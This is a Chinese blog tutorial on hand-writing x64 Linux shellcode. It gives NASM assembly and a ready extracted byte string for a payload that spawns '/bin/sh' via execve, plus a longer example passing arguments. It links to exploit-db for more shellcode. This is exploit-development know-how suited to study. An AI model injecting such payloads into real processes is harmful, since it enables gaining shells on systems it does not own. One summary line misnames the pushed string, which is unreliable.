linux手写x64的shellcode

13 篇文章 1 订阅

x64的寄存器基础

x86_64有16个64位寄存器,其中:
rax:常用来存放函数的返回值,系统调用之前用于存放调用号
rbp:栈帧寄存器
rsp:栈顶指针寄存器
rdi、rsi、rdx、rcx、r8、r9:存放函数参数,函数参数按照从左到右的顺序依次存入这几个寄存器,还有更多的参数则存入栈
rbx、rbp、r12、r13、r14、r15:用来存放数据,遵循被调用者使用规则,简单说就是可以直接拿来使用

编写汇编代码

下面的代码实现的是执行 execve("/bin/sh") 命令,rax寄存器存放execve的系统调用编号,rdi存放的是execve的参数:

section .text
global _start
_start:
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx,'/bin//sh'
push rbx
push rsp
pop rdi
mov al, 59
syscall

关于x64的系统调用表可参考如下博文:
https://blog.csdn.net/SUKI547/article/details/103315487
把上述代码存放在test.asm文件中

编译汇编代码

nasm -f elf64 -o shell.o test.asm
ld shell.o -o shellcode

执行完上述命令后,会生成一个名为shellcode的可执行文件,运行shellcode可得到shell:
在这里插入图片描述

使用objdump获取反汇编代码:

objdump --disassemble ./shellcode

下图圈出的即为shellcode代码:
在这里插入图片描述
shellcode="\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

一点延申

简单总结一下上面的例子就是往栈空间里写入了/usr/bin字符串(字符串起始地址存在rdi寄存器),然后把这个字符串作为59号系统调用(execve)的第一个参数,使用syscall调用该系统调用即可实现**execve("/bin/sh")**命令,获取到shell
但其实上面的例子有几点特殊的地方:

  1. /bin/sh不需要参数,也就是说execve只需要一个入参
  2. /bin/sh长度小于8字节,在64位程序中,栈宽度是8字节

那么问题来了:如果我们想要执行其他命令该怎么构造呢?
其实原理差不多的,比如我们想要执行execve("/usr/bin/mytest", {"/usr/bin/mytest",“argvs”}, 0),思路如下:

  1. 首先/usr/bin/mytest长度超过8字节但没有超过16字节,所以我们使用两块栈即可存放,还有就是
    字符串是以0x0作为终止的
  2. 其次,栈是先入后出的结构,因此我们往栈里面填写参数值时,要把非空参数从右往左填入,拆分长字符串时也要注意要把拆好的字符串从右往左填入,比如/usr/bin/mytest要先填入/mytest然后再填入/usr/bin

综上,我们可以得到汇编代码如下:

global _start
_start:
;执行execve("/usr/bin/mytest", {"/usr/bin/mytest","argvs"}, 0)的汇编代码
xor rbp, rbp ;清空rbp寄存器
xor rax, rax ;清空rax寄存器
xor rbx, rbx ;清空rbx寄存器

;先填入{"/usr/bin/mytest","argvs"}参数
push rax         ; 填入0x0作为字符串终止符
mov rbx, 'argvs' ; 参数没有超过8字节,不需要拆分
push rbx         ; "argvs"入栈
mov rbx, rsp     ; 使用rbx寄存器记录下"argvs"存放的地址

push rax         ; 填入0x0作为字符串终止符
;'/usr/bin/mytest'长度超过了8字节,拆分为/usr/bin和/mytest两部分,从右往左填入
mov rbp, '//mytest' ; 填入/mytest,添加一个/补齐八字节
push rbp
mov rbp, '/usr/bin' ; 填入/usr/bin
push rbp
mov rbp, rsp        ; 使用rbp寄存器记录下'/usr/bin/mytest'存放的地址

;"argvs"'/usr/bin/mytest'放在一段连续的栈地址,构造出{"/usr/bin/mytest","argvs"}
push rax
mov rdx, rsp ; 此时rsp指向的栈存放的是0x0,所以直接把这个作为第三个入参,放在rdx寄存器
push rbx
push rbp
mov rsi, rsp ; 得到第二个入参{"/usr/bin/mytest","argvs"},存入rsi寄存器
mov rdi, rbp ; rbp指向的是"/usr/bin/mytest",作为第一个参数,存入rdi寄存器

; 三个入参已经全了,将execve的调用号(59)存入rax寄存器,调用syscall
mov rax, 59
syscall

把上面的代码存入test.asm文件然后使用如下命令编译链接即可得到test可执行文件:

nasm -f elf64 -o test.o test.asm
ld -o test test.o

Have fun!

参考博客:

https://www.jianshu.com/p/e21dcba5668f

下面的链接有很多现成的shellcode,可以根据需要选用:
https://www.exploit-db.com/shellcodes

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值